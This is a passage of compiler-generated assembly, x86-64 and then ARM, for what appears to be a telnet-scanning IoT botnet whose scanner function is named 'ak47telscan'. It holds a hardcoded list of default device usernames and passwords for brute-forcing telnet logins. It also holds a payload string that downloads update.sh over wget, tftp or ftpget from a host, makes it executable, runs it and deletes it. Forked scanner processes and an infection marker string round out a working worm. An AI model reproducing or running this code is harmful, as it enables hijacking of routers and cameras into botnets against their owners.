	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rsi
	add	rax, 12
	mov	DWORD PTR [rax], ecx
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	ecx, 16384
	mov	edx, 8
	lea	rsi, .LC87[rip]
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jns	.L196
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	sclose
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 8
	mov	BYTE PTR [rax], 0
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	mov	BYTE PTR [rax], 1
	jmp	.L157
.L196:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	ecx, 16384
	mov	edx, 8
	lea	rsi, .LC88[rip]
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jns	.L197
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	sclose
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 8
	mov	BYTE PTR [rax], 0
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	mov	BYTE PTR [rax], 1
	jmp	.L157
.L197:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	ecx, 16384
	mov	edx, 7
	lea	rsi, .LC89[rip]
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jns	.L198
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	sclose
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 8
	mov	BYTE PTR [rax], 0
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	mov	BYTE PTR [rax], 1
	jmp	.L157
.L198:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	ecx, 16384
	mov	edx, 4
	lea	rsi, .LC90[rip]
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jns	.L199
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	sclose
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 8
	mov	BYTE PTR [rax], 0
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	mov	BYTE PTR [rax], 1
	jmp	.L157
.L199:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	ecx, 16384
	mov	edx, 26
	lea	rsi, .LC91[rip]
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jns	.L200
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	edi, eax
	call	sclose
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 8
	mov	BYTE PTR [rax], 0
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	mov	BYTE PTR [rax], 1
	jmp	.L157
.L200:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 16
	mov	rdx, QWORD PTR [rax]
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rcx, eax
	mov	rax, rcx
	add	rax, rax
	add	rax, rcx
	sal	rax, 3
	add	rax, rsi
	mov	eax, DWORD PTR [rax]
	mov	esi, DWORD PTR -1316[rbp]
	lea	r8, legit[rip]
	mov	ecx, 1024
	mov	edi, eax
	call	read_until_response
	test	eax, eax
	je	.L213
	mov	rax, QWORD PTR rekdevice[rip]
	mov	rdi, rax
	call	strlen@PLT
	mov	rdi, rax
	mov	rsi, QWORD PTR rekdevice[rip]
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	mov	eax, DWORD PTR [rax]
	mov	ecx, 16384
	mov	rdx, rdi
	mov	edi, eax
	call	send@PLT
	test	rax, rax
	jle	.L202
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 11
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, passwords[rip]
	mov	r12, QWORD PTR [rdx+rax]
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 10
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, usernames[rip]
	mov	rbx, QWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	add	rax, 4
	mov	edi, DWORD PTR [rax]
	call	inet_ntoa@PLT
	mov	rcx, r12
	mov	rdx, rbx
	mov	rsi, rax
	lea	rdi, .LC92[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
.L202:
	mov	edi, 20
	call	sleep@PLT
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 16
	mov	rdx, QWORD PTR [rax]
	mov	rsi, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rcx, eax
	mov	rax, rcx
	add	rax, rax
	add	rax, rcx
	sal	rax, 3
	add	rax, rsi
	mov	eax, DWORD PTR [rax]
	mov	esi, DWORD PTR -1316[rbp]
	lea	r8, infected[rip]
	mov	ecx, 1024
	mov	edi, eax
	call	read_until_response
	test	eax, eax
	je	.L203
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 11
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, passwords[rip]
	mov	r12, QWORD PTR [rdx+rax]
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 10
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, usernames[rip]
	mov	rbx, QWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	add	rax, 4
	mov	edi, DWORD PTR [rax]
	call	inet_ntoa@PLT
	mov	rcx, r12
	mov	rdx, rbx
	mov	rsi, rax
	lea	rdi, .LC93[rip]
	mov	eax, 0
	call	printf@PLT
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L157
.L203:
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 12
	mov	eax, DWORD PTR [rax]
	add	eax, 60
	mov	ebx, eax
	mov	edi, 0
	call	time@PLT
	cmp	rbx, rax
	jge	.L213
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 9
	movzx	eax, BYTE PTR [rax]
	cmp	al, 3
	je	.L204
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 11
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, passwords[rip]
	mov	r12, QWORD PTR [rdx+rax]
	mov	rcx, QWORD PTR -1264[rbp]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	add	rax, rcx
	add	rax, 10
	movzx	eax, BYTE PTR [rax]
	movzx	eax, al
	cdqe
	lea	rdx, 0[0+rax*8]
	lea	rax, usernames[rip]
	mov	rbx, QWORD PTR [rdx+rax]
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	get_telstate_host
	mov	rcx, r12
	mov	rdx, rbx
	mov	rsi, rax
	lea	rdi, .LC94[rip]
	mov	eax, 0
	call	printf@PLT
.L204:
	mov	eax, DWORD PTR -1300[rbp]
	movsx	rdx, eax
	mov	rax, rdx
	add	rax, rax
	add	rax, rdx
	sal	rax, 3
	mov	rdx, QWORD PTR -1264[rbp]
	add	rax, rdx
	mov	rdi, rax
	call	reset_telstate
	jmp	.L213
.L208:
	nop
	jmp	.L157
.L209:
	nop
	jmp	.L157
.L210:
	nop
	jmp	.L157
.L211:
	nop
	jmp	.L157
.L212:
	nop
	jmp	.L157
.L213:
	nop
.L157:
	add	DWORD PTR -1300[rbp], 1
.L155:
	mov	eax, DWORD PTR -1300[rbp]
	cmp	eax, DWORD PTR -1296[rbp]
	jl	.L205
	jmp	.L206
	.cfi_endproc
.LFE25:
	.size	ak47telscan, .-ak47telscan
	.globl	main
	.type	main, @function
main:
.LFB26:
	.cfi_startproc
	endbr64
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	rbp, rsp
	.cfi_def_cfa_register 6
	push	rbx
	sub	rsp, 40
	.cfi_offset 3, -24
	mov	DWORD PTR -36[rbp], edi
	mov	QWORD PTR -48[rbp], rsi
	call	fork@PLT
	mov	DWORD PTR -28[rbp], eax
	mov	edi, 84
	call	sysconf@PLT
	mov	DWORD PTR -24[rbp], eax
	mov	eax, DWORD PTR -24[rbp]
	sal	eax, 9
	mov	DWORD PTR -20[rbp], eax
	cmp	DWORD PTR -28[rbp], 0
	je	.L215
	mov	eax, DWORD PTR -28[rbp]
	mov	DWORD PTR scanPid[rip], eax
	mov	eax, 0
	jmp	.L216
.L215:
	cmp	DWORD PTR -28[rbp], -1
	jne	.L217
	mov	eax, 1
	jmp	.L216
.L217:
	mov	DWORD PTR -32[rbp], 0
	jmp	.L218
.L219:
	mov	edi, 0
	call	time@PLT
	mov	ebx, eax
	call	getpid@PLT
	xor	eax, ebx
	mov	ebx, eax
	call	getppid@PLT
	add	eax, ebx
	mov	edi, eax
	call	srand@PLT
	mov	edi, 0
	call	time@PLT
	mov	ebx, eax
	call	getpid@PLT
	xor	eax, ebx
	mov	edi, eax
	call	init_rand
	mov	eax, DWORD PTR -20[rbp]
	mov	esi, eax
	mov	edi, 370
	call	ak47telscan
	add	DWORD PTR -32[rbp], 1
.L218:
	mov	eax, DWORD PTR -32[rbp]
	cmp	eax, DWORD PTR -24[rbp]
	jl	.L219
	mov	eax, 0
.L216:
	mov	rbx, QWORD PTR -8[rbp]
	leave
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE26:
	.size	main, .-main
	.data
	.align 4
	.type	i.0, @object
	.size	i.0, 4
i.0:
	.long	4095
	.ident	"GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	 1f - 0f
	.long	 4f - 1f
	.long	 5
0:
	.string	 "GNU"
1:
	.align 8
	.long	 0xc0000002
	.long	 3f - 2f
2:
	.long	 0x3
3:
	.align 8
4:

	.arch armv5t
	.eabi_attribute 20, 1
	.eabi_attribute 21, 1
	.eabi_attribute 23, 3
	.eabi_attribute 24, 1
	.eabi_attribute 25, 1
	.eabi_attribute 26, 2
	.eabi_attribute 30, 6
	.eabi_attribute 34, 0
	.eabi_attribute 18, 4
	.file	"367803.c"
	.text
	.global	rekdevice
	.section	.rodata
	.align	2
.LC0:
	.ascii	"cd /tmp || cd /var/run || cd /mnt || cd /root || cd"
	.ascii	" /; wget http://0.0.0.0/update.sh; busybox wget htt"
	.ascii	"p://0.0.0.0/update.sh; tftp -r update.sh -g 0.0.0.0"
	.ascii	"; busybox tftp -r update.sh -g 0.0.0.0; ftpget -v -"
	.ascii	"u anonymous -p anonymous -P 21 0.0.0.0 update.sh up"
	.ascii	"date.sh; busybox ftpget -v -u anonymous -p anonymou"
	.ascii	"s -P 21 0.0.0.0 update.sh update.sh; chmod 777 upda"
	.ascii	"te.sh; busybox chmod 777 update.sh; sh update.sh; r"
	.ascii	"m -rf update.sh\015\012\000\000"
	.data
	.align	2
	.type	rekdevice, %object
	.size	rekdevice, 4
rekdevice:
	.word	.LC0
	.global	usernames
	.section	.rodata
	.align	2
.LC1:
	.ascii	"\000\000"
	.align	2
.LC2:
	.ascii	"root\000\000"
	.align	2
.LC3:
	.ascii	"admin\000\000"
	.align	2
.LC4:
	.ascii	"guest\000\000"
	.align	2
.LC5:
	.ascii	"default\000\000"
	.align	2
.LC6:
	.ascii	"user\000\000"
	.align	2
.LC7:
	.ascii	"daemon\000\000"
	.align	2
.LC8:
	.ascii	"adm\000\000"
	.align	2
.LC9:
	.ascii	"telnet\000\000"
	.align	2
.LC10:
	.ascii	"Administrator\000\000"
	.align	2
.LC11:
	.ascii	"mg3500\000\000"
	.align	2
.LC12:
	.ascii	"admin1\000\000"
	.align	2
.LC13:
	.ascii	"ubnt\000\000"
	.align	2
.LC14:
	.ascii	"support\000\000"
	.data
	.align	2
	.type	usernames, %object
	.size	usernames, 396
usernames:
	.word	.LC1
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC4
	.word	.LC4
	.word	.LC4
	.word	.LC4
	.word	.LC4
	.word	.LC4
	.word	.LC4
	.word	.LC2
	.word	.LC3
	.word	.LC2
	.word	.LC5
	.word	.LC6
	.word	.LC4
	.word	.LC7
	.word	.LC3
	.word	.LC3
	.word	.LC2
	.word	.LC3
	.word	.LC8
	.word	.LC4
	.word	.LC2
	.word	.LC2
	.word	.LC9
	.word	.LC2
	.word	.LC3
	.word	.LC3
	.word	.LC10
	.word	.LC2
	.word	.LC11
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC5
	.word	.LC3
	.word	.LC3
	.word	.LC3
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC2
	.word	.LC12
	.word	.LC13
	.word	.LC14
	.word	.LC2
	.word	.LC6
	.word	.LC4
	.global	passwords
	.section	.rodata
	.align	2
.LC15:
	.ascii	"password\000\000"
	.align	2
.LC16:
	.ascii	"Zte521\000\000"
	.align	2
.LC17:
	.ascii	"vizxv\000\000"
	.align	2
.LC18:
	.ascii	"000000\000\000"
	.align	2
.LC19:
	.ascii	"14567\000\000"
	.align	2
.LC20:
	.ascii	"hi3518\000\000"
	.align	2
.LC21:
	.ascii	"pass\000\000"
	.align	2
.LC22:
	.ascii	"admin14\000\000"
	.align	2
.LC23:
	.ascii	"7ujMko0admin\000\000"
	.align	2
.LC24:
	.ascii	"00000000\000\000"
	.align	2
.LC25:
	.ascii	"<>\000\000"
	.align	2
.LC26:
	.ascii	"klv1\000\000"
	.align	2
.LC27:
	.ascii	"klv14\000\000"
	.align	2
.LC28:
	.ascii	"oelinux1\000\000"
	.align	2
.LC29:
	.ascii	"realtek\000\000"
	.align	2
.LC30:
	.ascii	"1111\000\000"
	.align	2
.LC31:
	.ascii	"54321\000\000"
	.align	2
.LC32:
	.ascii	"antslq\000\000"
	.align	2
.LC33:
	.ascii	"zte9x15\000\000"
	.align	2
.LC34:
	.ascii	"system\000\000"
	.align	2
.LC35:
	.ascii	"1456\000\000"
	.align	2
.LC36:
	.ascii	"888888\000\000"
	.align	2
.LC37:
	.ascii	"ikwb\000\000"
	.align	2
.LC38:
	.ascii	"juantech\000\000"
	.align	2
.LC39:
	.ascii	"xc3511\000\000"
	.align	2
.LC40:
	.ascii	"1111111\000\000"
	.align	2
.LC41:
	.ascii	"service\000\000"
	.align	2
.LC42:
	.ascii	"145\000\000"
	.align	2
.LC43:
	.ascii	"4321\000\000"
	.align	2
.LC44:
	.ascii	"tech\000\000"
	.align	2
.LC45:
	.ascii	"abc1\000\000"
	.align	2
.LC46:
	.ascii	"switch\000\000"
	.align	2
.LC47:
	.ascii	"meinsm\000\000"
	.align	2
.LC48:
	.ascii	"smcadmin\000\000"
	.align	2
.LC49:
	.ascii	"14567890\000\000"
	.align	2
.LC50:
	.ascii	"14\000\000"
	.align	2
.LC51:
	.ascii	"anko\000\000"
	.align	2
.LC52:
	.ascii	"merlin\000\000"
	.align	2
.LC53:
	.ascii	"zlxx.\000\000"
	.data
	.align	2
	.type	passwords, %object
	.size	passwords, 392
passwords:
	.word	.LC1
	.word	.LC2
	.word	.LC15
	.word	.LC1
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	.LC19
	.word	.LC20
	.word	.LC6
	.word	.LC21
	.word	.LC22
	.word	.LC23
	.word	.LC24
	.word	.LC25
	.word	.LC26
	.word	.LC27
	.word	.LC28
	.word	.LC29
	.word	.LC30
	.word	.LC31
	.word	.LC32
	.word	.LC33
	.word	.LC34
	.word	.LC35
	.word	.LC36
	.word	.LC37
	.word	.LC5
	.word	.LC38
	.word	.LC39
	.word	.LC14
	.word	.LC40
	.word	.LC41
	.word	.LC42
	.word	.LC43
	.word	.LC44
	.word	.LC25
	.word	.LC45
	.word	.LC23
	.word	.LC46
	.word	.LC22
	.word	.LC1
	.word	.LC30
	.word	.LC47
	.word	.LC21
	.word	.LC48
	.word	.LC49
	.word	.LC50
	.word	.LC12
	.word	.LC15
	.word	.LC3
	.word	.LC51
	.word	.LC39
	.word	.LC35
	.word	.LC1
	.word	.LC4
	.word	.LC42
	.word	.LC39
	.word	.LC3
	.word	.LC16
	.word	.LC1
	.word	.LC6
	.word	.LC4
	.word	.LC1
	.word	.LC15
	.word	.LC12
	.word	.LC37
	.word	.LC49
	.word	.LC1
	.word	.LC1
	.word	.LC35
	.word	.LC2
	.word	.LC9
	.word	.LC33
	.word	.LC47
	.word	.LC1
	.word	.LC1
	.word	.LC32
	.word	.LC52
	.word	.LC46
	.word	.LC23
	.word	.LC45
	.word	.LC25
	.word	.LC44
	.word	.LC43
	.word	.LC5
	.word	.LC42
	.word	.LC41
	.word	.LC40
	.word	.LC22
	.word	.LC21
	.word	.LC6
	.word	.LC20
	.word	.LC15
	.word	.LC13
	.word	.LC53
	.word	.LC19
	.word	.LC18
	.global	advances
	.section	.rodata
	.align	2
.LC54:
	.ascii	":\000"
	.align	2
.LC55:
	.ascii	"ser\000"
	.align	2
.LC56:
	.ascii	"ogin\000"
	.align	2
.LC57:
	.ascii	"name\000"
	.align	2
.LC58:
	.ascii	"pass\000"
	.align	2
.LC59:
	.ascii	"dvrdvs\000"
	.data
	.align	2
	.type	advances, %object
	.size	advances, 28
advances:
	.word	.LC54
	.word	.LC55
	.word	.LC56
	.word	.LC57
	.word	.LC58
	.word	.LC59
	.word	0
	.global	fails
	.section	.rodata
	.align	2
.LC60:
	.ascii	"nvalid\000"
	.align	2
.LC61:
	.ascii	"ailed\000"
	.align	2
.LC62:
	.ascii	"ncorrect\000"
	.align	2
.LC63:
	.ascii	"enied\000"
	.align	2
.LC64:
	.ascii	"error\000"
	.align	2
.LC65:
	.ascii	"goodbye\000"
	.align	2
.LC66:
	.ascii	"bad\000"
	.align	2
.LC67:
	.ascii	"timeout\000"
	.data
	.align	2
	.type	fails, %object
	.size	fails, 36
fails:
	.word	.LC60
	.word	.LC61
	.word	.LC62
	.word	.LC63
	.word	.LC64
	.word	.LC65
	.word	.LC66
	.word	.LC67
	.word	0
	.global	successes
	.section	.rodata
	.align	2
.LC68:
	.ascii	"$\000"
	.align	2
.LC69:
	.ascii	"#\000"
	.align	2
.LC70:
	.ascii	">\000"
	.align	2
.LC71:
	.ascii	"@\000"
	.align	2
.LC72:
	.ascii	"shell\000"
	.align	2
.LC73:
	.ascii	"usybox\000"
	.data
	.align	2
	.type	successes, %object
	.size	successes, 32
successes:
	.word	.LC68
	.word	.LC69
	.word	.LC70
	.word	.LC71
	.word	.LC72
	.word	.LC59
	.word	.LC73
	.word	0
	.global	advances2
	.section	.rodata
	.align	2
.LC74:
	.ascii	"rror\000"
	.align	2
.LC75:
	.ascii	"oodbye\000"
	.align	2
.LC76:
	.ascii	"busybox\000"
	.data
	.align	2
	.type	advances2, %object
	.size	advances2, 48
advances2:
	.word	.LC54
	.word	.LC60
	.word	.LC61
	.word	.LC62
	.word	.LC63
	.word	.LC74
	.word	.LC75
	.word	.LC66
	.word	.LC76
	.word	.LC68
	.word	.LC69
	.word	0
	.global	legit
	.section	.rodata
	.align	2
.LC77:
	.ascii	"AK47\000"
	.data
	.align	2
	.type	legit, %object
	.size	legit, 8
legit:
	.word	.LC77
	.word	0
	.global	infected
	.section	.rodata
	.align	2
.LC78:
	.ascii	"CAPSAICIN\000"
	.data
	.align	2
	.type	infected, %object
	.size	infected, 8
infected:
	.word	.LC78
	.word	0
	.global	scanPid
	.bss
	.align	2
	.type	scanPid, %object
	.size	scanPid, 4
scanPid:
	.space	4
	.local	Q
	.comm	Q,16384,4
	.data
	.align	2
	.type	c, %object
	.size	c, 4
c:
	.word	362436
	.text
	.align	2
	.global	init_rand
	.syntax unified
	.arm
	.fpu softvfp
	.type	init_rand, %function
init_rand:
	@ args = 0, pretend = 0, frame = 16
	@ frame_needed = 1, uses_anonymous_args = 0
	@ link register save eliminated.
	str	fp, [sp, #-4]!
	add	fp, sp, #0
	sub	sp, sp, #20
	str	r0, [fp, #-16]
	ldr	r2, .L4
	ldr	r3, [fp, #-16]
	str	r3, [r2]
	ldr	r2, [fp, #-16]
	ldr	r3, .L4+4
	add	r3, r2, r3
	ldr	r2, .L4
	str	r3, [r2, #4]
	ldr	r2, [fp, #-16]
	ldr	r3, .L4+8
	add	r3, r2, r3
	ldr	r2, .L4
	str	r3, [r2, #8]
	mov	r3, #3
	str	r3, [fp, #-8]
	b	.L2
.L3:
	ldr	r3, [fp, #-8]
	sub	r3, r3, #3
	ldr	r2, .L4
	ldr	r2, [r2, r3, lsl #2]
	ldr	r3, [fp, #-8]
	sub	r3, r3, #2
	ldr	r1, .L4
	ldr	r3, [r1, r3, lsl #2]
	eor	r2, r2, r3
	ldr	r3, [fp, #-8]
	eor	r2, r2, r3
	ldr	r3, .L4+4
	eor	r3, r3, r2
	ldr	r1, .L4
	ldr	r2, [fp, #-8]
	str	r3, [r1, r2, lsl #2]
	ldr	r3, [fp, #-8]
	add	r3, r3, #1
	str	r3, [fp, #-8]
.L2:
	ldr	r3, [fp, #-8]
	cmp	r3, #4096
	blt	.L3
	nop
	nop
	add	sp, fp, #0
	@ sp needed
	ldr	fp, [sp], #4
	bx	lr
.L5:
	.align	2
.L4:
	.word	Q
	.word	-1640531527
	.word	1013904242
	.size	init_rand, .-init_rand
	.align	2
	.global	rand_cmwc
	.syntax unified
	.arm
	.fpu softvfp
	.type	rand_cmwc, %function
rand_cmwc:
	@ args = 0, pretend = 0, frame = 24
	@ frame_needed = 1, uses_anonymous_args = 0
	push	{r4, r5, fp, lr}
	add	fp, sp, #12
	sub	sp, sp, #24
	ldr	r2, .L9
	mov	r3, #0
	str	r2, [fp, #-28]
	str	r3, [fp, #-24]
	mvn	r3, #1
	str	r3, [fp, #-32]
	ldr	r3, .L9+4
	ldr	r3, [r3]
	add	r3, r3, #1
	lsl	r3, r3, #20
	lsr	r3, r3, #20
	ldr	r2, .L9+4
	str	r3, [r2]
	ldr	r3, .L9+4
	ldr	r3, [r3]
	ldr	r2, .L9+8
	ldr	r3, [r2, r3, lsl #2]
	mov	r0, r3
	mov	r1, #0
	ldr	r3, [fp, #-28]
	mul	r2, r1, r3
	ldr	r3, [fp, #-24]
	mul	r3, r0, r3
	add	ip, r2, r3
	ldr	lr, [fp, #-28]
	umull	r2, r3, lr, r0
	add	r1, ip, r3
	mov	r3, r1
	ldr	r1, .L9+12
